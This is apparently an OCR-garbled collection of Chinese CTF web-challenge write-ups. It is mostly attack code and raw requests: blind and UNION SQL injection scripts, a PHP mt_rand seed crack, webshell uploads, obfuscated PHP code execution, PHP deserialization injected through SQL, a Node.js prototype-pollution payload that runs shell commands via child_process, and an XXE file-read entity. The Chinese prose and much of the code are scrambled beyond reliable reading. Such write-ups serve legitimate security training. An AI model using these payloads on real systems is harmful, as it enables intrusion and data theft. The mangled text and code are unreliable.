"http://2debclf8-a31b-4cd0-884b-e008c03d5dc3.node3.buuoj.cn/"

for i in range(1,300):
left = 1
right = 127
mid=int((left+right)/2)
while(left<right):
#payload['id'] = "1~(ascii(substr(database(),%d,1))<%d) '%(i,mid)
payload[ 'id"'] = '1”(ascii(substr((select(group_concat(table_name))from(sys.schema_table_ statistics_with
buffer)where(table schema=database())),%d,1))<%d) '%(i,mid)
r = requests.post(url=url,data=payload)
if 'NulL' in r.text:
left=mid+1
else:
right=mid
mid=int((left+right)/2)
flag+=chr(mid-1)
print(flag)

for i in range(1,300):
for j in range(1,128):
payload[ 'id'] = "@~((select '1','%s')>(select * from flag 1s h3r3_hhhhh))"%(flag+chr(j))
r = requests.post(url=url,data=payload)
time.sleep(0.03)
if 'NulL® in r.text:
print(flag+chr(j-1))
flag+=chr(j-1)

flag{64215a7e-23ec-4c10-8091-26d98b2
flag{64215a7e-23ec-4c10-8091-26d98b25
flag{64215a7e-23ec-4c10-8091-26d98b25b
flag{64215a7e-23ec-4c10-8091-26d98b25bb
flag{64215a7e-23ec-4c10-8091-26d98b25bbe
flag{64215a7e-23ec-4c10-8091 - 26d98b25bbed
flag{64215a7e-23ec-4c10-8091-26d98b25bbed}
flag{64215a7e-23ec-4c10-8091-26d98b25bbed }
flag{64215a7e-23ec-4c10-8091-26d98b25bbed } y
flag{64215a7e-23ec-4c10-8091hBpadBinmpeédgnet/xiaclong22333

[GYCTF2020]Easyphp




php & F7 5146 775 B ik 1

AT

B, WBZEIET XK EY: T RFFIMFAFRRE, AHAMBEAET ! # ! #!
A ABRIE— N LETAE, R

W, HT, EFET

ZTtmBMAMR TSI AR ERE T, BEHXFhsb B Hmt s !

[MRCTF2020]Ezaudit
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<?php
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($ _POST[ 'login'])){
$username = $ POST[ 'username'];
$password = $ POST[ 'password'];
$Private key = $ POST['Private key'];
if (($username == '') || ($password == '') ||($Private key == '')) {
/] BRE,NARES , RaiIR, I3 EIR B 5 H
header('refresh:2; url=login.html");
echo "HF 4. &L, BHRRNTWH, crispr&ib R EB RIS F A MK " ;

exit;

else if($Private_key != "#rdksiokfiokkskt )
{
header('refresh:2; url=login.html");
echo "Z4H, MESiEREFR  crispraibRE2M GBI SR AmK ! ";

exit;

else{
if($Private_key === '*¥kkickckasokkxt ) f
$getuser = "SELECT flag FROM user WHERE username= ‘crispr' AND password = '$password'"."';";
$1link=mysql_connect("localhost","root","
mysql _select_db("test",$1link);

$result = mysql_query($getuser);

root");

while($row=mysql fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row[ "flag"]."</td><td>";

// genarate public_key

function public_key($length = 16) {
$stringsl = 'abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" ;
$public_key = "'';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($stringsl, mt_rand(@, strlen($stringsl) - 1), 1);
return $public_key;

//genarate private_key

function private key($length = 12) {
$strings2 = 'abcdefghijklmnopqgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVIWXYZ0123456789" ;
$private key = '';
for ( $i = 0; $i < $length; $i++ )
$private key .= substr($strings2, mt_rand(@, strlen($strings2) - 1), 1);
return $private_key;

}

$Public_key = public_key();

//$Public_key = KVQPOLAIKRaV3n9D how to get crispr's private key???

username_Ncrispr, passwordf] L/ ge# g Seid, HZEprivate_key

BREZZEmt_rand () FEHLEL




AT BR VL, mt_rand()RAREF TN, REMETFT, BAERIES 4RI
X BV T public_key, FFHEATEHE php_mt_seed HtAI LATHE HFHF
B SR public_keyH HIBEHLEL, FHE B A B IR A% K

strl="abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVIWXYZ0123456789"
str2="KVQPOLdIKRaV3noD'

len(str2)

for i in range(len(str2)):
for j in range(len(strl)):
if str2[i] == stri[j]:
res+=str(j)+' '+str(j)+' '+'@'+"' '+str(len(strl)-1)+'
break

print(res)

root@kali:~/% @ /php_mt_seed# ./php_mt_seed 36 36 @ 61 47 47 @ 61 42 42 @ 61 41 41 @ 61
52 52 @ 61 37 37 @ 61 3 3 @ 61 35 35 @ 61 36 36 @ 61 43 43 @ 61 @ @ @ 61 47 47 B 61 55
55 @ 61 13 13 @ 61 61 61 @ 61 29 29 @ 61

Pattern: EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FR

OM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-

62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62

Found @, trying 1744830464 - 1778384895, speed 96506109 seeds per second

seed = 1775196155

Found 1, trying 4261412864 - 4294967295, speed 89827421 seeds per second

Found 1

BEFF1775196155
B XA T4 P ublic_keyBp AT

<?php

mt_srand(1775196155);

function public_key($length = 16) {
$stringsl = 'abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVIWXYZ0123456789" ;
$public key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($stringsl, mt rand(@, strlen($stringsl) - 1), 1);
return $public_key;

function private key($length = 12) {
$strings2 = 'abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$private key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(@, strlen($strings2) - 1), 1);

return $private key;

public_key();

echo private_key();

?>

AEREEMIR, BREFA—AMT, EphplAAFE, FRULAR, RXTAMREEZ, HFEFREESZAMTH
phphi A, Mii%AEFREAES.2.127.0.xZ[A]




=52 crispr

‘or'

H
i

/i XuNhoueCDCGc

[4 ¥4 CTF 2021]write_shell



<?php
error_reporting(9);
highlight file(_ FILE );
function check($input){
if(preg_match("/"| |_[php|; [~|\\*|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| [_|=|php/",$input)){
die('hacker!!!");
}else{

return $input;

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
¥
}else{
$input = check($input);

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/'
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {

echo $dir;
break;
case ‘'upload':
$data = $_GET["data"] ?? "";
waf($data);
file put_contents("$dir" . "index.php", $data);

php#E #7251 %0958

?action=upload&data=<?="cat%09/f111111111122222221ag" ?>

[SCTF2019]Flag Shop

Ruby ERBA#EHRIEA
BRI Ry, &

[GXYCTF2019]StrongestMind

BUNRFZEEF ARERERIRARE, SRRESHARE TR, HEZBH—E




from requests.sessions import session
url = "http://9e60bd5f-bce8-4a7d-808a-ca73d4a6d730.node4.buuoj.cn:81/index.php"

requests.session()

number = re.compile(r'[0-9]+ [+]|-] [0-9]+")

s.get(url=url)

for i in range(1050):
time.sleep(0.1)
try:
answer = eval(number.findall(r.text)[0])
data = {

‘answer': answer

= s.post(url=url,data=data)
r.encoding = "utf-8"
print(r.text)
except:

pass

print(r.text)

SUCTF 2018]GetShell

if($contents=file get contents($ FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black char as $b) {
if (stripos($data, $b) !== false){

die("illegal char");

EARH3CH & BB ECIphp R4
EFWETRES, WESMIFHREICAN, EMET TR, "L SCER L
W bR AR A



<?php

//Author: m@clnu?

error_reporting(0);

header('Content-Type: text/html; charset=utf-8');

function str_split unicode($str, $1 = 0) {

if ($1 > 9) {
$ret = array();
$len = mb_strlen($str, "UTF-8");
for ($i = 0; $i < $len; $i += $1) {
$ret[] = mb_substr($str, $i, $1, "UTF-8");
¥

return $ret;

¥
return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);

$s = "RIFRAR R 25 i) HL O R AR AN BRI X FREBRE B B R AR A RO U A B AR 28 WX 4 — A A Mt BB N AR R O WO 8 K
% RIBVRZE ZUAt 4 5 R ERROIE B, A28 — ABERE 505 RE 1Y 75 A 7R0E — 5 Sk -h G R 75 A B3R 0 TE B 1 R A RN 21 B A ol s B
A I AR R R T U 2 T A AR R B AR RVEE? A AN NEEEEN T R ER MR ECLR/AREE /DB L A KIEEZMHE
I 22 B S AR RS 2 FERT A RO RE XA B — A B E R B R F AL LD EEANEK? KA EIEAHE G SRR EA AERES Y SHED
B Lk A 3 VE 2 5K B K A R A B RO b B 6 H B AN BRI TR R TEIR Y H B B B — B R R e — PR I8 L T AR EE L X 2
— B DR N OB R 5T Z R YR TR B2 IR Bk & B F 2487 K AOR T T A R TR 8 R R BE IR AR — AR 2 i & i Ak
M T TR B B P — 221 00 AR TR IR 0 25 R ) AR~ g i v Y e 2 70 Ak S G K 48 G K R W D R i it R 25 VA R A L IR R A IR
7 I K R W B2 < B8 R i Y 2 ik 0 22 R AR T — R - 55 4% R 45 R FR KT 1 48 1 28375 58 — b L 3R v e K R F) s it 2 R PR G K it R = B it T
I 3R PR 28175 5 A e R A R VR B TR — R W VR VAR — B SR 8 B B B SR D iR T R 5 R B /R T 7 Y TR DR AR 2 R 1 thE P DA R VA FE BRI L PREB 28
T 2 B R R N B AT PR AN IR 8 > 488 /% K 28 10 R i s e A R 7E /R 4 D PR AL R S HE I R P B S RIS IE BBk — B AR L2
o R ARE ) 20k T B8 T T8 AL AR Lk O P A N A B R B SR AN AE T AN BRABI T 7E T8 — R K151 5 A BEIE 2SR 112 2 AR 2R A S A AR SR IR
i B2 B AR X R T A R E B BT R B A BEAE B OF 2 B —

$arr_str=str_split_unicode($s);

for ($i=0; $i < strlen($s) ; $i++) {
echo $arr_str[$i]." ".~$arr_str[$i][1]."\n";
}

?>




==9%_);//$_=1

=$_[$_1;//a
__ = ~(A);
_ .= 3%_[$_1.9_[3%_1;//ass
__ = ~(BE);
.= % [$ 1;//asse
_ = ~(F);
.= % [$_1;//asser
= ~(H#);
.= 9% [$ ];//assert

_ = ~(~())s
= ~(FF);

= $_[$_1;//_P
_ = ~(&);

.= $_[%_1;//_PO

flag M EMR B3, EHXRBEZES

payload: =system('env')




[Z ¥ 2019] & S 1%

BEMTIRGEE TR, BRRRELEgthub, 2 wowouploadimage (Powered By wowouploadimage)
12 BIYRE J5 B i
helper.php

protected $folder = "pic/";

protected $ifview = False;

protected $config = "config.txt";

// The function is not yet perfect, it is not open yet.

public function upload($input="file")
{
$fileinfo = $this->getfile($input);
$array = array();
$array["title"] = $fileinfo['title’'];
$array["filename"] = $fileinfo['filename'];
$array["ext"] = $fileinfo['ext'];
$array["path"] = $fileinfo[ 'path'];
$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
$my ext = array("width"=>$img ext[0], "height"=>$img ext[1]);
$array["attr"] = serialize($my_ext);
$id = $this->save($array);
if ($id == 0){
die("Something wrong!");
¥
echo "<br>";
echo "<p>Your images is uploaded successfully. And your image's id is $id

public function getfile($input)

{

if(isset($input)){
$rs = $this->check($ FILES[$input]);
¥

return $rs;

}

public function check($info)
{
$basename = substr(md5(time().uniqid()),9,16);
$filename = $info["name"];
$ext = substr(strrchr($filename, '.'), 1);
$cate_exts = array("jpg","gif","png","jpeg");
if(!in_array($ext,$cate_exts)){
die("<p>Please upload the correct image file!!l</p>");
¥
$title = str_replace(".".$ext,"'',$filename);
return array('title'=>$title, 'filename'=>$basename.".".$ext, 'ext'=>$ext, ‘path'=>$this->folder.$basename."."
.$ext);
}

public function save($data)

{

if(!$data || !is_array($data)){
die("Something wrong!");




}
$id = $this->insert_array($data);
return $id;

}

public function insert_array($data)
{
$con = mysqli_connect("127.0.0.1","root","root","pic_base");
if (mysqli_connect_errno($con))
{
die("Connect MySQL Fail:".mysqli_connect_error());
}
$sql_fields = array();
$sql_val = array();
foreach($data as $key=>$value){
$key temp = str_replace(chr(0).'*'.chr(e), '\0\0\0', $key);
$value_temp = str_replace(chr(@).'*'.chr(0), '\0\0\0', $value);
$sql _fields[] = " ".$key temp." ";
$sql val[] = "'".$value_temp."'";
}
$sql = "INSERT INTO images (".(implode(",",$sql fields)).") VALUES(".(implode(",",$sql val)).
mysqli_query($con, $sql);
$id = mysqli_insert_id($con);
mysqli close($con);
return $id;

}

public function view files($path){

if ($this->ifview == False){
return False;
//The function is not yet perfect, it is not open yet.
¥

$content = file get contents($path);

echo $content;

}

function  destruct(){
# Read some config html
$this->view files($this->config);

<title>Show Images</title>

<link rel="stylesheet" href="./style.css">

<meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
</head>

<body>

<h2 align="center">Your images</h2>

<p>The function of viewing the image has not been completed, and currently only the contents of your image name

can be saved. I hope you can forgive me and my colleagues and I are working hard to improve.</p>
<hr>




"./helper.php");
new show();
if($_GET["delete_all"]){
if($_GET["delete_all"] == "true"){
$show->Delete All Images();
}

}
$show->Get_All Images();

class show{
public $con;

public function _ construct(){
$this->con = mysqli_connect("127.0.0.1","root","root","pic_base");
if (mysqli_connect_errno($this->con)){

die("Connect MySQL Fail:".mysqli_connect_error());

public function Get All Images(){
$sql = "SELECT * FROM images";
$result = mysqli_query($this->con, $sql);
if ($result->num_rows > 0){
while($row = $result->fetch_assoc()){
if($row["attr"]){
$attr_temp = str_replace('\0\0\0', chr(@).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
¥
echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
¥
}else{
echo "<p>You have not uploaded an image yet.</p>";
¥
mysqli_close($this->con);

}

public function Delete All Images(){
$sql = "DELETE FROM images";
$result = mysqli_query($this->con, $sql);

<p><a href="show.php?delete_all=true">Delete All Images</a></p>
<p><a href="upload.php">Upload Images</a></p>

BHERERFFIMLA file_get _contents iEHflag, #FHEFE N OEW

EE B fEhelper.phpH BEFFFIL $array["attr"] = serialize($my_ext); , fEshow.phpHH $attr =
unserialize($attr_temp);

ETREFERE

B R L 5 4% B A S4B M (title filename, exp,path,attr) AN SE EE, Hbarre NE R RS, ERBUESH#ITFIIL,
G 5 AU [ A H




protected $ifview
protected $config =

¥
$p = new helper();

echo serialize($p);

//0:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}
//0:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0Oconfig";s:5:"/flag";}

echo 'Ox'.bin2hex('0:6:"helper":2:{s:9:"\0\0\@ifview";b
?>

ER IR R EZE e —T, BN $value_temp =

BEN163E], BAapidRERrRTS
AT KA arre IER? HEFE

:1;s:9:"\@\0@\@config";s:5:"/flag";}");

str_replace(chr(@8).'*'.chr(@), '\0\e\e', $value); , AR5

BB R X S BTN, RS EEREESIsqiEA) T INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".

(implode(",",$sql_val)).") , AT LLEE T4 RsqliEAN

payload

filename="1","'2","'3"',"'4",0x43a363a2268656Cc706572223a323a7b733a393a225c305¢c305c30696676696577223b623a313b733a393]

2225c305¢305¢30636T6€666967223b733a353a2221666c6167223b7d)#. jpg"

POST jupload.php HTTP/1.1

Host: ceddfol7-2c99-dacc-l1d9-968ef548b819.noded buuoj.cn:8l

User-Agent: Mozilla/5.0 (Windows NT 10.0; 'Wined; x64: rv93.0) Gecko/20100101
Firefox/93.0

Accept

text/html, application/<html+xml.application/xml.qg=0.9image/avif.image/webp,*/*q
8

Accept-language: zh-Ch.zh;q=0.8zh-TW;q=07.zh-HK:q=0.5,en-US;g=03,en;g=0.2
Content-Type: multipart/form-data;

boundary=
Content-Length: 397

Origin: http://ccddf617-2c99-4acc-b1d9-968ef548b819.noded buuoj.cn:gl

Connection: close

Referer: http://ccddfe17-2c99-dacc-b1d9-968ef548bE19.noded buugj.cn:8l/upload.php
Upgrade-Insecure-Reguests: |

I»

7826344944824074030807 8682

T82634494452497493 0807 8682

Content-Disposition: form-data; name="file";

filename="1''2",'3"'4" 0x4f3a363a2 268656cT06572223a323a7h733a393a225¢305c305¢306
9667 6696577223b623a313b733a393a225c305c305c30636f6e666967 2230733a353a222f6
66c616722367d)# jpg"

Content-Type: image/png

HTTP/1.1 200 OK

Server: openresty

Date: Fri, 15 Oct 2021 06:52:23 GMT
Content-Type: text/htmnl; charset=UTF-8
Connection: close

Wary: Accept-Encoding

H-Powered-By: PHP/7.0.33
Content-Length: 661

IDOCTY
<htrmnl»
<head>

<title>Image Upload - ftitle>
<link rel="stylesheet" href=",/style.css">
=meta http-equiv="content-type" content="text/html.charset=UTF-8"/>
</head>
<body>
<p align="center"> <img src="https.//i.loli.net/2019/10/06/i5GV5YnBImZRaFj.png" width=300
length=150> =/p>
=div align="center" »
<form name="upload" action="" method="post" enctype ="multipart/form-data" >
<input type="file" name="file"> -
<input type="5ubmit" value="submit" »

Your images

The function of viewing the image has not been completed, and currently only the contents of your image name can be saved. | hope you can forgive me and my
colleagues and | are working hard to improve.

id=3 filename=8cad4b10c07b2cf3.png path=pic/8cad4b10c07b2cf3.png

id=4 filename=2 path=4

id=5 filename=2 path=4

flag{ec92e1d9-eb60-4c7f-a020-aa05a1fe 1155}

Delete All Images

Upload Images




[b01lers2020]Life on Mars

MBERESE, ZilsqiEA

REERRTFHEEE/EAN B, FRF\FLRFBALRK, HELEHEREunionfitE. . .

GET /query?search=tharsis_rise%20union®%20select%%201,28:{)&_=1634283772614 HTTP/1.1
Host: 346dcd1a-ffeB-43e8-a97d-c38bc0327983 noded buuoj.cn:8l

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winbsd; x64; r:93.0) Gecko/20100101
Firefoux/93.0

Accept: application/json, text/javascript, * =001

Accept-language: zh-CMN.zh;g=0.8zh-TW.;q=07.zh-HK:g=05,en-US;g=03,en;gq=0.2
Content-Type: application/json; charset=utf-8

#-Requested-With: XMLHttpRequest

Connection: close

Referer: http://346dcd|a-ffe9-43e8-297 d-c38bc0327983 noded buugj.cn:81/

FEEARHIATEHE, urldmid BRI AT
payload

?search=tharsis_rise%20unio

e

"L

craniums and a twisted sense of humour”] “Micros","Sentient parasitic
bacteria"]l.["Mooninites”," ] ["Mudokons",""].["Nairnama”,"Humanoid"].["MNeadlehead",""1.["
Cod" "Orion","4 race of red-shelled mollusk-like hurnaneids from the planet Kiusana
in the Andromeda Galaxy. They are very important in the socdety of their arid home
planet, as they are powerful hydrokinetics, able to draw in moisture from the air, unleash
water blasts from portholes in their hands, and control existing water at
will"L["Qutsiders","Dark
matterentities"].["Sariens”,""L.["Selkath”,"".["Shalka",""1.["Sheliak","Humanoid".["Slaughterin
g Rat People”,""].["Snovemndomas”,""1.["Solomon
Farnily",""L.["Ssora","").["Talarian",""1.["Tallerian",""1.["Talokians","Crange-skinned
hurnanoids fromn planet Tamaran, they are able to unleash ultraviolet blasts called
starbolts and fly faster than light. Their powers are connected to their emotions and their
society encourages the open expression of
emotion."].["Tleilaxu",""L["Torians",""L.["Trills"."Trolls that are characterized by their horns
and grey colored skin. Beta Universe Trolls hail frorn the planet Alternia, while Alpha
Universe Traolls hail from the planet Beforus."].["Unas","1.["Unggoy”."].["Vorlons","Yortians
are characterized by their goat-like physiology (hooves, horns etc) The Vortians are a
technologically advanced race, providing the Irkens with advanced military technology.
The Vortian home world, Vort, was conquered by Invader Larb and is now Irk's top
rilitary research prison."]["Wisps","Hurmanoid"].["Xenu","Hurmanoid"].["Xilians","Peaceful
arboreal testudinoids").["Vridian","Alternative name for the hurmanoidlridonianrace
whose most distinctive feature is the array of small horns on top of their heads. Their
horme planet islrideonia, though they have established many colonies on planets
throughout the galaxy < a href=#cite_note-\Wizards-1:[1]</a>The most well known
member isDarth faul."L["1"."2"]]

P el T 7 P

s
_ U (X

,group_concat(code)%20from%20alien_code.code

GET
Jquery?search=tharsis_rise%20union®20select%201.group_concat(code) %2 0frorn %2 0alien_
code.codef{]& =1634283772614 HTTP/1.1

Host: 3d6dcdla-ffe9-43e8-a97d-c38bc0327983 noded buugj.cn:l

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd: «64; r-93.0) Gedko/20100101
Firefoux/03.0

Accept: application/json, text/javascript. */* g=0.01

Accept-Language zh-CH,zh;q=0.8=zh-TW;q=07,zh-HK:q=0.5,en-US;q=0.3.en;q=0.2
Content-Type: application/json; charset=utf-8

K-Reguested-With: XIMLHtpRequest

Connection: close

Referer: http://346dcd 1a-ffe9-43e8-a97d-c38bc0327983 noded buuoj.cn:8l/

[GYCTF2020]Ez_Express

L

bacteria"].["Mooninites”,""].["Mudokons”,"].['Mairnama”, "Hurnanoid"].["MNeadlehead",""].["
Ood","1.["Crion","A race of red-shelled mollusk-like humanoids from the planet Kiusana
in the Andromeda Galaxy. They are very important in the society of their arid home
planet, asthey are powerful hydrokinetics, able to draw in moisture frorn the air, unlzash
water blasts from portholes in their hands, and control existing water at
will'L["Outsiders","Dark
matterentities"].["Sariens",""].["Selkath",""].["Shalka",""].["Sheliak","Hurnanoid"].["Slaughterin
g Rat People”,
Family","").["Ssora",""L["Talarian","").["Tallerian",""].["Talokians","Orange-skinned
humanoids from planet Tamaran, they are able to unleash ultraviolet blasts called
starbolts and fly faster than light. Their powers are connected to their ermotions and their
society encourages the open expression of

emation."].["Tleilaxu",""1["Torians"," L' Trills""Trolls that are characterized by their horns
and grey colored skin. Beta Universe Trolls hail from the planet Alterni
Universe Trolls hail from the planet Beforus."].["Unas
are characterized by their goat-like physiclogy (hooves, horns, etc) The Vortians are a
technologically advanced race, providing the Irkens with advanced military technology.
The Vortian horne world, Vort, was conquered by Invader Larb and is now Irk's top
military research prison.”].["Wisps","Hurmanoid".["Xenu”,"Humanoid"].["Xilians","Peaceful
arboreal testudinoids"].["Yridian","Alternative name for the humanoidlridonianrace
whose most distinctive feature is the array of small horns on top of their heads. Their
home planet islridonia. though they have established rmany colonies on planets
throughout the galaxy. <a href=#cite_note-Wizards-1=[1]</a>The most well known
rmember isDarth Maul "].[" I"_."fIag{b'.r'0a?528—4ef6—4eb8—89533~[2 ‘cf2gr]€3c§fr}J]1rJ -

B—AsHIEE, & R, ZETESINjsBRAR R R GIT S, KB M AR5

VEM ST PA T8 BYRRY, B it routes/index.js

var express = require('express');

var router = express.Router();

const isObject =

obj => obj && obj.constructor & obj.constructor === Object;




for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
alattr] = b[attr];

}

return a

)i

const clone = (a) => {
return merge({}, a);

}

function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {

return keyword

return undefined

router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={"user':req.session.user.user});

1)

router.get('/login', function (req, res) {
res.render('login');

1)

router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
b
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
by

res.redirect('/"');

¥
else if(req.body.Submit=="1login"){

if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}

if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.islLogin=true;

¥
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")

}

res.redirect('/"'); ;

)5




router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
reg.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");

3)s

router.get('/info', function (req, res) {

res.render('index',data={"user':res.outputFunctionName});

1)

module.exports = router;




merge, clone® %, XEAFSHIER

merge = (a, b) {.
for ( attr b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
else {
a[attr] = b[attr];

1
J
return a

clone = (a) {
return merge({}, a);
CSDN @xiaolong22333

£ T R 2E F clone () #

router.post(’/action’, (reg, res) (|
if(req.session.user.user!="ADMIN"){res.end("<script>alert( ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);

res.end("<script>alert(’success’);history.go(-1);</script>");

2 H P NADMINFT 421 Fi clone()
Mt ENogin, FEEAFESTRERAADMIN

router.post(’/login’, (req, res) { [ |
if(req.body.Submit=="register™”){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word");history.go(-1);</script>")
¥
req.session.user={
‘user':req.body.userid.toUppercase(),
‘passwd’: req.body.pwd,
‘islogin':
}
res.redirect('/");
}
else if(req.body.Submit=="1ogin"){
if(lreq.session.user){res.end("<script>alert( register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.islLogin= g
}
else{
res.end("<script>alert( error passwd®);history.go(-1);</script>")

}

b

res.redirect('/"); ;

CSDN @xiaolong22333

toUpperCase() toLowerCase()

FHIERNTE N RKSAHADMIN, Ti/hMEAR Nadminf) ZRFH, BREXA adnin, 1 XNMEFHREHN T, FLA s
Pladmin& ki J5 1R~ flagfE/flag, 12 T Rt 2 R B 4k 5 Y
I RpFHCE



https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

B H A& RS TEY outputFunctionName , {BZ outputFunctionName & A € X, FEMALAVS S outputFunctionName Frce

laction¥N 8 JG#% Content-Type W N application/json ¥iHpayload

{"lua":"xiaolong"," proto_ ":{"outputFunctionName":"a=1;return global.process.mainModule.constructor. load('chi

1d _process').execSync('cat /flag')//"},"Submit":""}

POST /action HTTP/1.1 A HTTP/1.1 200 OK A
Host: cffd6593-fdba-48fb-a%d1-627 abbed 0587 noded buugj.cri 8l i Server: openresty 1
User-Agent: Mozilla/5.0 (Windows MT 10.0; WinG4; x84; rv:93.0) Gecko,/20100101 Date: Fri, 15 Oct 2021 09:05:12 GMT
Firefox/93.0 Content-Type: text/htrl; charset=utf-8
Accept Connection: close
text/html.application/xhtml+xml. application/xml.g=0.9,image/avif.image/webp*/*q=08 ¥-Powered-By. Express
Accept-Language: zh-CM,zhig=08zh-TW;q=07,zh-HK;q=05.en-US5;q=03,en;q=02 Content-Length: 49
Content-Type: application/json
Content-Length: 163 «<script> alert('success’);history.go(-1); < /script>
Origin: http://dfd6593-fdba-48flb-2941-527 abbed0587 noded buuoj.cn:gl
Connection: close
Referer: http://cffd6593-fdba-46flb-a941-627 abbed 0587 noded buuoj.cn:B1/
Cookie
session=5%3AYzshRCUkkPlcdFoAHSWhelu3 dtoE Sgva wmx U QGFdft9GFErCizA ux0uDcMDUi
AROV3OgPfwhBKE
Upgrade-Insecure-Requests: 1
{"lua""xiaclong""__proto_ ":{"outputFunctionMame""a=;return
global processmaintlodule.constructor._load('child_process'). execSynel'cat
Sflag’)//")." Subrnit":"")
e =3
¥ ¥
uJ uJ uJ u Type a search term 0 matches uJ [LJ u [LJ Type a search term 0 matches
CSDN @xiaoloneg27333
Done # Ak bytes T 19 millis

RBURHEREFE T, [HiXA payloadiEFEANWH, FIAEET EZHILE

[ISITDTU 2019]EasyPHP

<?php
highlight_file(__ FILE_ );

$_ = @_GET['_'];
if ( preg_match('/[\x@0- 0-9\'" $&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > oxd )
die('you are so close, omg');

HY =z v] PA#4 & phpinfo()

~%8F%O7%SF%96%91%99%90) () ;

REMER, FE readfile(end(scandir(.)));
B Ja 38 R

2 =((%8d%8d%8d%8d%8d%8d%9e%8d )~ (%9a%8d%8d%8d%8d%8d%Ib%S8d ) ~ (%9a%9a%0e%9ob%99%06%96%9a ) (% F F%f F%f f%F F%f % f%FF%fE))
(((%8d%9e%8d ) (%8d%99%8d )~ (%9a%96%9b) ~ (%FFAFE%EF) ) (( (%8d%9e%8d%9e%8d%8d%8d )~ (%9a%9b%8d%99%8d%8d%9a )~ (%9b%99%9e%9

6%9b%96%9a) N (4T FUF E%FFUFFUFE%EFSFE)) (Bd1%FE)));

L E R R ARG 18R 7R, AUMENEREANE, REXBEZEEN.



[HarekazeCTF2019]Avatar Uploader 1

AR H % T IR

<?php
error_reporting(0);

require_once( 'config.php');
require_once('lib/util.php");
require_once('lib/session.php');

$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY);

// check whether file is uploaded
if (!file exists($ _FILES['file']['tmp_name']) || !is_uploaded file($ FILES['file']['tmp_name'])) {
error('No file was uploaded.');

// check file size
if ($_FILES['file']['size'] > 256000) {
error('Uploaded file is too large.');

// check file type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo file($finfo, $ FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($type, ['image/png'])) {
error('Uploaded file is not PNG format.');

// check file width/height
$size = getimagesize($ FILES['file']['tmp_name']);
if ($size[@] > 256 || $size[1] > 256) {
error('Uploaded image is too large.');
}
if ($size[2] !== IMAGETYPE_PNG) {
// I hope this never happens...
error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1l') . '</code>");

// ok
$filename = bin2hex(random_bytes(4)) . '.png';
move_uploaded file($ FILES['file']['tmp_name'], UPLOAD DIR . '/' . $filename);

$session->set('avatar', $filename);
flash('info', 'Your avatar has been successfully updated!');
redirect('/"');




#ER finfo_file Ml getimagesize

BH%H finfo_file R LK RSB ApngB® ), getimagesize MARFME A EEZEEE, WHE getimagesize FRELE

FIA Npngit4flag

1B finfo_file RIEM XMFEE —47 (1626 T )SRIKHOCAF KA, FEknT Lokpng B K58 —17R B, HAt M, X

FE finfo_file JREXBIHIRpng, T getimagesize IKEUAE|E A KM KE R
K5 Lt Aflag
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[CSAWQual 2019]Web_Unagi

E 3| EAexmi3 i, mAERERE e T

<?xml version='1.0'?>

<!DOCTYPE users [

<IENTITY xiaolong SYSTEM "file:///flag" >]>
